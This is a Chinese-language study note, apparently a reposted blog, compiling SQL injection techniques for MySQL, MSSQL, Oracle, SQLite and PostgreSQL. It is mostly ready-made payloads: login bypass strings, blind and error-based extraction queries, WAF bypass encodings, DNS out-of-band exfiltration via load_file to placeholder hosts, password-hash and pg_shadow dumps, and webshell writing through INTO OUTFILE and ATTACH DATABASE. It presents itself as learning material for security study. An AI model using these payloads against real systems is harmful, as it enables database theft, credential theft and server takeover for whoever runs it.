• 学习笔记-SQLi


    学习笔记-# SQLi


    免责声明

    本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.


    大纲


    描述

    注入攻击的本质,是程序把用户输入的数据当做代码执行。这里有两个关键条件,第一是用户能够控制输入;第二是用户输入的数据被拼接到要执行的代码中从而被执行。sql 注入漏洞则是程序将用户输入数据拼接到了 sql 语句中,从而攻击者即可构造、改变 sql 语义从而进行攻击。

    教程

    payload

    在线 SQLi 测试

    相关工具

    提权工具


    SQL 注入常规利用思路

    1. 1. 寻找注入点,可以通过 web 扫描工具实现
    2. 2. 通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息.
    3. 3. 猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)
    4. 4. 可以通过获得的用户信息,寻找后台登录.
    5. 5. 利用后台或了解的进一步信息,上传 webshell 或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限.

    注入的分类

    • 基于响应类型

      • 报错
      • 联合查询
      • 堆叠注入
      • 盲注
        • 基于布尔
        • 基于时间
    • 基于数据类型

      • 字符型
      • 数字型
      • 搜索型
    • 基于语句类型

      • 查询型
      • 插入型
      • 删除型
    • 基于程度和顺序

      • 一阶注入 : 指输入的注入语句对 WEB 直接产生了影响,出现了结果;
      • 二阶注入 : 类似存储型 XSS,是指输入提交的语句,无法直接对 WEB 应用程序产生影响,通过其它的辅助间接的对 WEB 产生危害,这样的就被称为是二阶注入.
    • 基于注入点的位置

      • 通过用户输入的表单域的注入
      • 通过 cookie 注入
      • 通过服务器变量注入 : 例如基于头部信息的注入

    注入检测

    可以通过多种方式检测注入。其中最简单的方法是在各种参数后添加 '" 从而得到一个从 Web 服务器返回的数据库报错信息。

    找注入点

    • GET - HTTP Request

      在常见的 HTTP GET 请求(以及大多数请求类型)中,有一些常见的注入点。例如:网址参数(下面的请求的 id),Cookie,host 以及任何自定义 headers 信息。然而,HTTP 请求中的任何内容都可能容易受到 SQL 注入的攻击。

      1. GET /?id=homePage HTTP/1.1 <-----注入点
      2. Host: www.xxx.com
      3. Connection: close
      4. Cache-Control: max-age=0
      5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
      6. Upgrade-Insecure-Requests: 1
      7. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
      8. Accept-Encoding: gzip, deflate
      9. Accept-Language: en-US,en;q=0.9
      10. X-Server-Name: xxxx <-----注入点
      11. Cookie: user=xxxxx; <-----注入点
    • POST - Form Data

      在具有 Content-Type 为 application/x-www-form-urlencoded 的标准 HTTP POST 请求中,注入将类似于 GET 请求中的 URL 参数。它们位 于HTTP 头信息下方,但仍可以用相同的方式进行利用。

      1. POST / HTTP/1.1
      2. Host: xxx.com
      3. Content-Type: application/x-www-form-urlencoded
      4. Content-Length: 39
      5. username=xxx&email=xxx@xxx.com <-----注入点
    • POST - JSON

      在具有 Content-Type 为 application/json 的标准 HTTP POST 请求中,注入通常是 JSON{"key":"value"} 对的值。该值也可以是数组或对象。虽然符号是不同的,但值可以像所有其他参数一样注入。(提示:尝试使用 ',但要确保 JSON 使用双引号,否则可能会破坏请求格式。)

      1. POST / HTTP/1.1
      2. Host: xxx.com
      3. Content-Type: application/json
      4. Content-Length: 56
      5. {
      6. "username":"xxx", <-----注入点
      7. "email":"xxx@xxx.com" <-----注入点
      8. }
    • POST - XML

      在具有 Content-Type 为 application/xml 的标准 HTTP POST 请求中,注入通常在一个内部。虽然符号是不同的,但值可以像所有其他参数一样注入。(提示:尝试使用 ')

      1. POST / HTTP/1.1
      2. Host: xxx.com
      3. Content-Type: application/xml
      4. Content-Length: 79
      5. <root>
      6. <username>xxxxx</username> <-----注入点
      7. <email>xxx@xxx.com</email> <-----注入点
      8. </root>

    检测注入

    通过在应用程序中触发错误和布尔逻辑,可以最轻松地检测易受攻击的参数。提供格式错误的查询将触发错误,并且使用各种布尔逻辑语句发送有效查询将触发来自Web服务器的不同响应。

    注:True 或 False 语句应通过 HTTP 状态码或 HTML 内容返回不同的响应。如果这些响应与查询的 True/False 性质一致,则表示存在注入。

    • 万能密码
      1. admin' --
      2. admin' #
      3. admin'/*
      4. ' or 1=1--
      5. ' or 1=1#
      6. ' or 1=1/*
      7. ') or '1'='1--
      8. ') or ('1'='1--
      9. ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
    • 逻辑测试
      • 1.php?id=1 or 1=1 -- true
      • 1.php?id=1' or 1=1 -- true
      • 1.php?id=1" or 1=1 -- true
      • 1.php?id=1 and 1=2 -- false
      • 1.php?id=1-false
      • 1.php?id=1-true
    • 算术
      • 1.php?id=1/1 -- true
      • 1.php?id=1/0 -- false
    • 基于盲注
    • 基于错误

    判断数据库类型

    • 注释符判断 /* 是 MySQL 中的注释符,返回错误说明该注入点不是 MySQL,继续提交如下查询字符:- 是 Oracle 和 MSSQL 支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:;是子句查询标识符,Oracle 不支持多行查询,因此如果返回错误,则说明很可能是 Oracle 数据库。
    • 函数判断 and (select count()from MSysAccessObjects)>0 返回正常说明是 access 数据库, and (select count()from sysobjects)>0 返回正常说明是 mssql 数据库 and length(user())>10 返回正常说明是 Mysql Oracle 可以根据 from dual 虚拟库判断

    MYSQL

    靶场

    相关文章

    资源

    监控工具

    • TheKingOfDuck/MySQLMonitor - MySQL 实时监控工具(代码审计/黑盒/白盒审计辅助工具)
      java -jar MySQLMonitor.jar -h 127.0.0.1 -user test -pass test
    • cw1997/MySQL-Monitor - MySQL服务器执行SQL记录实时监控(WEB版本)

    MySQL 基础

    注释

    1. # 注释内容,表示单行注释
    2. -- 注意--后面有一个空格
    3. /* */ 多行注释

    数据库名

    1. SELECT database();
    2. SELECT schema_name FROM information_schema.schemata;

    表名

    1. SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema!='information_schema' AND table_schema!='mysql';
    2. -- union 查询
    3. --MySQL 4版本时用version=9,MySQL 5版本时用version=10
    4. UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10; /* 列出当前数据库中的表 */
    5. UNION SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=database(); /* 列出所有用户自定义数据库中的表 */
    6. -- 盲注
    7. AND select SUBSTR(table_name,1,1) from information_schema.tables where table_schema=database() > 'A'
    8. -- 报错
    9. AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));
    10. -- 在5.1.5版本中成功。

    列名

    1. -- union 查询
    2. UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'
    3. -- 盲注
    4. AND select substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'tablename' limit 0,1),1,1) > 'A'
    5. -- 报错
    6. -- 在5.1.5版本中成功
    7. AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)
    8. -- MySQL 5.1版本修复了
    9. AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));
    10. -- 利用 PROCEDURE ANALYSE()
    11. -- 这个需要 web 展示页面有你所注入查询的一个字段
    12. -- 获得第一个段名
    13. SELECT username, permission FROM Users WHERE id = 1; 1 PROCEDURE ANALYSE()
    14. -- 获得第二个段名
    15. 1 LIMIT 1,1 PROCEDURE ANALYSE()
    16. -- 获得第三个段名
    17. 1 LIMIT 2,1 PROCEDURE ANALYSE()

    根据列名查询所在的表

    1. -- 查询字段名为 username 的表
    2. SELECT table_name FROM information_schema.columns WHERE column_name = 'username';
    3. -- 查询字段名中包含 username 的表
    4. SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';

    条件语句

    1. SELECT IF(1=1, true, false);
    2. SELECT CASE WHEN 1=1 THEN true ELSE false END;

    延时函数

    1. SELECT sleep(3)
    2. UNION SELECT If(ascii(substr(database(),1,1))>115,0,sleep(5))
    3. SELECT BENCHMARK(100000,SHA1('true'))
    4. UNION SELECT IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)

    order by 后的注入

    简单判断

    order=1%20and(select%20if(mid(user(),1,4)=%22root%22,sleep(0.01),123))

    order by 由于是排序语句,所以可以利用条件语句做判断,根据返回的排序结果不同判断条件的真假。一般带有 order 或者 order by 的变量很可能是这种注入,在知道一个字段的时候可以采用如下方式注入:

    1. http://www.test.com/list.php?order=vote
    2. -- 根据 vote 字段排序。找到投票数最大的票数 num 然后构造以下链接:
    3. http://www.test.com/list.php?order=abs(vote-(length(user())>0)*num)+asc
    4. -- 看排序是否变化。还有一种方法不需要知道任何字段信息,使用 rand 函数:
    5. http://www.test.com/list.php?order=rand(true)
    6. http://www.test.com/list.php?order=rand(false)
    7. -- 以上两个会返回不同的排序,判断表名中第一个字符是否小于 128 的语句如下:
    8. http://www.test.com/list.php?order=rand((select char(substring(table_name,1,1)) from information_schema.tables limit 1)<=128))

    宽字节注入

    国内最常使用的 GBK 编码,这种方式主要是绕过 addslashes 等对特殊字符进行转移的绕过。反斜杠 \ 的十六进制为 %5c,在你输入 %bf%27 时,函数遇到单引号自动转移加入 \,此时变为 %bf%5c%27,%bf%5c 在 GBK 中变为一个宽字符「縗」。%bf 那个位置可以是 %81-%fe 中间的任何字符。不止在 SQL 注入中,宽字符注入在很多地方都可以应用。

    oob

    1. select load_file('\\\\test.xxx.ceye.io\\abc');
    2. select load_file(concat('\\\\',(select hex(database()),'.xxx.ceye.io\\abc'));
    3. /*
    4. UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器.。UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。UNC路径就是类似\softer这样的形式的网络路径
    5. 格式: \servername\sharename ,其中 servername 是服务器名,sharename 是共享资源的名称。
    6. 目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename
    7. 上面的 payload 中 \\\\ 转义后即为 \\
    8. select hex(database()) 为需要的查询语句,用 hex() 是因为构造 UNC 时不能有特殊符号,转化一下更好用。
    9. .xxx.ceye.io\\abc 转义后就变成了 .xxx.ceye.io\abc
    10. 拼接起来后就成了 \\xxx.ceye.io\abc 完全符合 UNC 的路径标准,解析后在 DNSlog 平台就能看到数据了。
    11. Linux 没有 UNC 路径,所以当处于 Linux 系统时,不能使用该方式获取数据
    12. /*

    如果不成功,可能是访问 oob 域名的流量被拦截了,也可能是由于没开启文件导入导出

    1. show global variables like '%secure%';
    2. -- 如果secure_file_priv的值为null,则没开启;如果为空,则开启;如果为目录,则说明只能在该目录下操作。
    3. -- 通过设置my.ini来配置

    文件导出

    select '' into outfile 'D:/shell.php';

    正则表达式攻击

    在 MYSQL 5+ 中 information_schema 库中存储了所有的库名,表名以及字段名信息。

    1. 判断第一个表名的第一个字符是否是 a-z 中的字符,其中 blind_sqli 是假设已知的库名。

    注:正则表达式中 ^[a-z] 表示字符串中开始字符是在 a-z 范围内

    1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*
    1. 判断第一个字符是否是 a-n 中的字符
    1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/*
    1. 确定该字符为 n
    1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n[a-z]' LIMIT 0,1) /*
    1. 表达式的更换如下
    expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE

    这时说明表名为 news ,要验证是否是该表名 正则表达式为 '^news$',但是没这必要 直接判断 table_name = 'news' 即可。

    1. 接下来猜解其它表了

    regexp 匹配的时候会在所有的项都进行匹配。例如:security 数据库的表有多个,users,email 等

    1. select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^u[a-z]' limit 0,1); -- 是正确的
    2. select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1); -- 是正确的
    3. select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 0,1); -- 是正确的
    4. select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 1,1); -- 不正确
    5. select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 1,1); -- 不正确

    实验表名:在 limit 0,1 下,regexp 会匹配所有的项。我们在使用 regexp 时,要注意有可能有多个项,同时要一个个字符去爆破。类似于上述第一条和第二条。而 limit 0,1 对于 where table_schema='security' limit 0,1 来说 table_schema='security' 已经起到了限定作用了,limit 有没有已经不重要了。

    bypass 技巧

    常见的绕过技巧

    1. # 双写
    2. select
    3. ✔ seselectlect
    4. # 大小写
    5. select
    6. SElect
    7. # 负数
    8. ❌ ?id=1 ANd 1=1
    9. ✔ ?id=1 ANd -1=-1
    10. # 小数点
    11. ❌ WHERE id= '1'
    12. ✔ WHERE id= '1.0test'
    13. # +号连接绕过
    14. ❌ ?id=1 ANd 1=1
    15. ✔ ?id=1+and+1=1
    16. ✔ ?id=1+union+select+1+2
    17. # 无闭合
    18. ❌ ?id=1 and 1=1
    19. ✔ ?id=1 --+/*%0aand 1=1 --+*/
    20. # 有闭合
    21. ❌ ?id=1 and 1=1
    22. ✔ ?id=1 --+/*%0a'and 1=1 --+ --+*/
    23. ✔ ?id=1 --+/*%0aand 1=1 --+*/
    24. ✔ ?id=1 --+/*%0a'and 1=1 --+ --+*
    25. # %09、%0a、%0b、%0c、%0d、%a0 替换 %20
    26. and false union select 1,2,......,31--
    27. and%0afalse%0aunion%0aselect%0a1,2,......,31--+
    28. # URL 编码
    29. ❌ ?id=1 union select pass from admin limit 1
    30. 1%20union%20select%20pass%20from%20admin%20limit%201
    31. ❌ ?id=1 or 1
    32. ✔ ?id=1%27or%271 #字符型注入
    33. ✔ ?id=1%20or%201 #数字型注入

    函数替换

    • 连接

      1. and length(database())=7
      2. && length(database())=7
      3. %26%26 length(database())=7
      4. HAVING length(database())=7
      5. or 1=1
      6. || 1=1
      7. %7C%7C 1=1
      8. %7C%7C 1 LIKE 1
    • benchmark 代替 sleep

      id=1 and if(ascii(substring((database()),1,1))=115,(select benchmark(1000000,md5(0x41))),1) --+
    • 字符串截取函数

      1. Mid(version(),1,1)
      2. Substr(version(),1,1)
      3. Substring(version(),1,1)
      4. Lpad(version(),1,1)
      5. Rpad(version(),1,1)
      6. Left(version(),1)
      7. reverse(right(reverse(version()),1))
    • 字符串连接函数

      1. concat(version(),'|',user());
      2. concat_ws('|',1,2,3)
    • 字符转换/编码

      1. Char(49)
      2. Hex(‘a’)
      3. Unhex(61)
      4. Ascii(1)

    函数与括号之间

    1. # 函数与括号之间可添加空格、换行、注释
    2. select version()
    3. select version ()
    4. select version/**/()
    5. select version
    6. #123
    7. ()

    执行语句之间

    1. # 执行语句之间的空格,可用注释符、"换行%0a"替换
    2. select version()
    3. select/**/version()
    4. select#123
    5. version()
    6. select-- 123
    7. version()

    括号包裹

    1. # 逻辑判断式1>1'a'='b'from后的表格名,select语句,可用括号包裹
    2. select * from (test)
    3. select * from (test) where (id=1)
    4. select * from (test) where (id=1) union (select * from (test) where (id=2));

    省略空格

    1. # 单双引号'"、括号()、反单引号``、星号*、与语句之间可以没有空格
    2. select*from(test)
    3. select*from(test)where(id=1)
    4. select*from(test)where(id=1)union(select*from(test)where(id=2));

    注释配合换行符

    1. # order by 1
    2. ❌ ?id=1'order by id#
    3. ✔ ?id=1%27order%20by%20id%23
    4. ✔ ?id=1%27order%23/*%99%0aby%23/*%99%0a4%23
    5. ✔ ?id=1%20order%23/*%99%0aby%23/*%99%0aid%23
    6. ✔ ?id=1%20order%23/*%99%0aby%23/*%99%0a4%23
    7. # union select x from x
    8. ❌ ?id=union select
    9. ✔ ?id=union%23/*%99%0aselect
    10. ✔ ?id=union--%20%0d%0a%23/*%99%0aselect
    11. ✔ ?id=union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aa,2,asd
    12. ✔ ?id=union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0a1,id,3%20from%20users
    13. ✔ ?id=1%27union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0a1,id,3%20from%20users%23%27
    14. ✔ ?id=1%20union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0a1,id,3%20from%20users%23
    15. ✔ ?id=1%27union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0a1,%23/*%99%0auser(),3%20from%20users%23
    16. # load_file()
    17. # 规避常规的 dnslog 站点, 最好自建 dnslog 服务
    18. ❌ ?id=1'union select load_file("//123.xxx.com/abc")#
    19. ✔ ?id=1%27union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%22//123.xxx.com/abc%22)%23
    20. ✔ ?id=1%27%26%26(--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%22//123.xxx.cn/abc%22))%23
    21. ✔ ?id=1%27%26%26(--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%23/./%23/*%99%0a))%23
    22. ✔ ?id=1%27%26%26(--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%23/./%23/*%99%0d%0aconcat(%27//%27,(%23%0aselect%23/*%99%0a111),%27.123.text.com/abc%27)))%23
    23. ✔ ?id=1%20%26%26(--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%23/./%23/*%99%0d%0aconcat(%27//%27,(%23%0aselect%23/*%99%0a111),%27.123.text.com/abc%27)))%23
    24. # concat()
    25. ❌ ?id=concat('//',(select 123),".123.test.com/abc")
    26. ✔ ?id=concat(%27//%27,(select%23/*%99%0a123),%22.123.test.com/abc%22)
    27. # updatexml()
    28. ❌ ?id=updatexml(1,1,1)
    29. ✔ ?id=updatexml%23/*%99%0a(1,1,1)
    30. ✔ ?id=1%27and%20updatexml%23/*%99%0a(1,1,1)%23%27
    31. ✔ ?id=1%20and%20updatexml%23/*%99%0a(1,1,1)
    32. ❌ ?id=updatexml(0,(select a),'a)')
    33. ✔ ?id=updatexml%23/*%99%0d%0a(0,(%23/*%99%0d%0aselect%0aa),%27a)%27)
    34. ✔ ?id=1%27%26%26updatexml%23/*%99%0d%0a(0,(%23%0aselect%23/*%99%0a111),%27a)%27)%23
    35. ✔ ?id=1%20and%20updatexml%23/*%99%0d%0a(0,(%23%0aselect%23/*%99%0a111),%27a)%27)%23
    36. ?id=1' and updatexml(0,concat#concat)('//~',(select 123),0x7e),'a)')#
    37. ?id=1%27%26%26updatexml%23/*%99%0d%0a(0,concat%0a%23concat)%0d%0a(%27//~%27,(select%23/*%99%0a123),0x7e),%27a)%27)%23
    38. ?id=1%20and%20updatexml%23/*%99%0d%0a(0,concat%0a%23concat)%0d%0a(%27//~%27,(select%23/*%99%0a123),0x7e),%27a)%27)%23

    绕过引号限制

    1. -- hex 编码
    2. SELECT * FROM Users WHERE username = 0x61646D696E
    3. -- char() 函数
    4. SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

    绕过字符串黑名单

    1. SELECT 'a' 'd' 'mi' 'n';
    2. SELECT CONCAT('a', 'd', 'm', 'i', 'n');
    3. SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
    4. SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');
    5. -- 使用 CONCAT() 时,任何个参数为 null,将返回 null,可以使用 CONCAT_WS()。CONCAT_WS()函数第一个参数表示用哪个字符间隔所查询的结果。

    json 函数

    MySQL 5.7.8 开始新增了很多操作 json 数据的函数

    1. JSON_TYPE()
    2. -- 此函数获取JSON值的类型,当我们传入的值不属于json格式则报错。
    3. JSON_TYPE(version())
    4. JSON_EXTRACT()
    5. -- 此函数从 JSON 文档中返回数据,从与path参数匹配的文档部分中选择,当第一个参数不是json类型的值则报错
    6. JSON_EXTRACT(version(), '$[1]')
    7. JSON_EXTRACT((select user()),'$.a')
    8. JSON_ARRAY_APPEND()
    9. -- 将值附加到 JSON 文档中指定数组的末尾并返回结果,报错输出原理和json_extract函数相同。
    10. select JSON_ARRAY_APPEND(version(),1,1);
    11. select JSON_ARRAY_APPEND('[1,2]',version(),1);

    提权/GETSHELL


    MSSQL

    基于ASP / ASPX的应用程序一般都是 MSSQL。

    学习资源

    靶场

    相关文章

    相关案例

    相关工具

    • Keramas/mssqli-duet - SQL injection script for MSSQL that extracts domain users from an Active Directory environment based on RID bruteforcing

    MSSQL 基础

    基本参数

    1. @@version -- 数据库版本
    2. user -- 获取当前数据库用户名
    3. db_name() -- 当前数据库名 其中db_name(N)可以来遍历其他数据库
    4. ;select user -- 查询是否支持多语句
    5. @@servername -- 服务器名称

    查询密码HASH

    1. -- MSSQL 2000版本
    2. select name,password from master.dbo.sysxlogins
    3. -- MSSQL 2005及以后版本
    4. select name,password_hash from sys.sql_logins

    正则表达式攻击

    MSSQL 所用的正则表达式并不是标准正则表达式 ,该表达式使用 like 关键词

    1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" and table_name LIKE '[a-z]%' )

    该查询语句中,select top 1 是一个组合,不要看错了。

    如果要查询其它的表名,由于不能像 mysql 那样用 limit x,1,只能使用 table_name not in (select top x table_name from information_schema.tables) 意义是:表名没有在前 x 行里,其实查询的就是第 x+1 行。

    例如查询第二行的表名:

    1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" and table_name NOT IN ( SELECT TOP 1 table_name FROM information_schema.tables) and table_name LIKE '[a-z]%' )

    表达式的顺序:

    'n[a-z]%' -> 'ne[a-z]%' -> 'new[a-z]%' -> 'news[a-z]%' -> TRUE

    之所以表达式 news[a-z] 查询后返回正确是应为 % 代表 0-n 个字符,使用 "_" 则只能代表一个字符。故确认后续是否还有字符可用如下表达式

    'news%' TRUE -> 'news_' FALSE

    同理可以用相同的方法获取字段,值。这里就不再详细描述了。

    bypass 技巧

    select from 后的位置

    • 空白符号

      01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

      需要做 urlencode,sqlserver 中的表示空白字符比较多,靠黑名单去阻断一般不合适.

    • 注释符号

      Mssql 也可以使用注释符号 /**/

    • . 符号

    • :

    select from 之间的位置

    • 空白符号
    • 注释符号
    • :

    and 之后的位置

    • 空白符号

    • 注释符号

    • :

    • %2b

    常见过滤函数

    • 字符串截取函数

      1. Substring(@@version,1,1)
      2. Left(@@version,1)
      3. Right(@@version,1)
    • 字符串转换函数

      1. Ascii(‘a’) 这里的函数可以在括号之间添加空格的, 一些 waf 过滤不严会导致 bypass
      2. Char(‘97’)
    • Mssql 支持多语句查询,因此可以使用;结束上面的查询语句,然后执行自己构造的语句.动态执行.

      使用 exec 的方式:

      使用 sp_executesql 的方式:

    提权/GETSHELL


    oracle

    用于是否是判断 oracle 数据库的方法

    and (select count(*) from sys.user_tables)>0

    相关案例

    bypass 技巧

    oracle 中文版中,中文括号 ( )可以代理英文且不报错

    select (1+1) from test;

    H2 database

    相关文章


    BigQuery

    相关文章

    Playground

    信息收集

    1. SELECT * FROM INFORMATION_SCHEMA.SCHEMATA
    2. select @@project_id
    3. select session_user()

    SQLite

    SQLite 是一个进程内的库,实现了自给自足的、无服务器的、零配置的、事务性的 SQL 数据库引擎。它是一个零配置的数据库,这意味着与其他数据库不一样,你不需要在系统中配置。

    SQLite 数据库的特点是它每一个数据库都是一个文件,当你查询表的完整信息时会得到创建表的语句。

    相关文章

    SQLite 基础

    注释

    1. ; 注释内容,表示单行注释
    2. -- 注意--后面有一个空格
    3. /* */ 多行注释

    查看版本

    select sqlite_version();

    查询表名和列名

    select sql from sqlite_master

    布尔盲注

    布尔盲注通过查询正确和错误返回的页面不同来判断数据内容。

    SQLite不支持ascii,所以直接通过字符去查询,这里和mysql不同,这个区分大小写。也没有mid,left等函数。

    -1' or substr((select group_concat(sql) from sqlite_master),1,1)<'a'/*

    时间盲注

    SQLite没有sleep()函数,但可以用randomblob(N)函数,randomblob(N) 函数,其作用是返回一个 N 字节长的包含伪随机字节的 BLOG。N 是正整数。可以用它来制造延时。SQLite没有if,所以需要使用case……when来代替。

    -1' or (case when(substr(sqlite_version(),1,1)>'3') then randomblob(300000000) else 0 end)/*

    写 webshell

    SQLite 的 ATTACH DATABASE 语句是用来选择一个特定的数据库,使用该命令后,所有的 SQLite 语句将在附加的数据库下执行。

    ATTACH DATABASE file_name AS database_name;

    如果附加数据库不存在,就会创建该数据库,如果数据库文件设置在web目录下,就可以写入webshell。

    1. ATTACH DATABASE '/var/www/html/shell.php' AS shell;
    2. create TABLE shell.exp (webshell text);
    3. insert INTO shell.exp (webshell) VALUES ('');

    Postgresql

    相关文章

    Postgresql 基础

    忽略

    1. SELECT 'admin' FROM users;
    2. SELECT 'admin' OR 1 = 1; -- -' FROM users;

    ||

    || 可用于将数据附加到同一行的输出中

    SELECT ''||password FROM users; -- -';

    通过延时判断是否是 Postgresql 数据库的方法

    SELECT

    1. -- 如果参数是整数:
    2. pg_sleep(20); -- -
    3. -- 如果参数是字符串:
    4. '||pg_sleep(20); -- -

    FROM

    1. -- 当payload的第一个SELECT子句中提供了有效的表名(TABLE)和列(COLUMN)时
    2. (SELECT * FROM [TABLE] WHERE [COLUMN]=1|(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -
    3. -- 或者
    4. (SELECT * FROM [TABLE] WHERE [COLUMN] = 'asd'::varchar||(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -
    5. -- 当已知列需要一个Int
    6. (SELECT * FROM address WHERE address_id=1|(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -
    7. -- 当已知列需要字符串时
    8. (SELECT * FROM address WHERE address = 'asd'::varchar||(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -

    WHERE

    1. -- 如果参数是整数
    2. 1|(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END)); -- -
    3. -- 如果参数是字符串
    4. '||(pg_sleep(20)); -- -

    HAVING

    1. -- 如果参数是整数:
    2. (COUNT((SELECT pg_sleep(20)))=1); -- -
    3. -- 如果参数是字符串:
    4. t' AND (SELECT COUNT((SELECT pg_sleep(20)))) = 1; -- -

    OFFSET

    1. -- 如果参数是整数:
    2. 1|(SELECT COUNT((SELECT pg_sleep(20)))); -- -
    3. -- 如果参数是字符串
    4. 1'::integer + 1|(SELECT COUNT((SELECT pg_sleep(20)))); -- -

    当注入点在 WHERE 时

    可以配合 ||

    1. select * from test where username='admin' and password='admin'
    2. select * from test where username='admin' and password=''||(select password);

    bypass 技巧

    注释

    1. SELECT version();
    2. SELECT/**/version();

    代替引号

    1. select pg_ls_dir('/etc');
    2. select pg_ls_dir($$/etc$$); -- 使用 $ 符号
    3. select pg_ls_dir($test$/etc$test$); -- 使用标签
    4. select pg_ls_dir(CHR(47)||CHR(101)||CHR(116)||CHR(99)); -- 采取CHR()函数

    query_to_xml

    query_to_xml 可以将结果返回在一行里,不必担心限制或多行

    SELECT query_to_xml('SELECT usename, passwd FROM pg_shadow;',true,true,'')

    DATABASE_TO_XML

    使用 xml 帮助程序通过单个查询转储整个数据库

    SELECT database_to_xml(true,true,'')

    点击关注,共同学习!安全狗的自我修养

    github haidragon

    https://github.com/haidragon

  • 相关阅读:
    前端日期减一天的笑话
    基于MindSpore高效完成图像分割,实现Dice!
    离子液体1-丁基-3-甲基咪唑六氟磷酸盐(BMI)改性氧化石墨烯(GO)文献摘要
    数据治理:数据治理管理(第五篇)
    ValueError: (‘Unrecognized keyword arguments:‘, dict_keys([‘ragged‘]))的问题 报错解决
    LeetCode144二叉树的前序遍历,94二叉树的中序遍历,145二叉树的后序遍历
    UVM环境中reset复位的处理
    如何解决 Iterative 半监督训练 在 ASR 训练中难以落地的问题丨RTC Dev Meetup
    Unity之ShaderGraph如何实现全息投影效果
    GitHub 供应链安全已支持 Dart 开发者生态
  • 原文地址:https://blog.csdn.net/sinat_35360663/article/details/127639548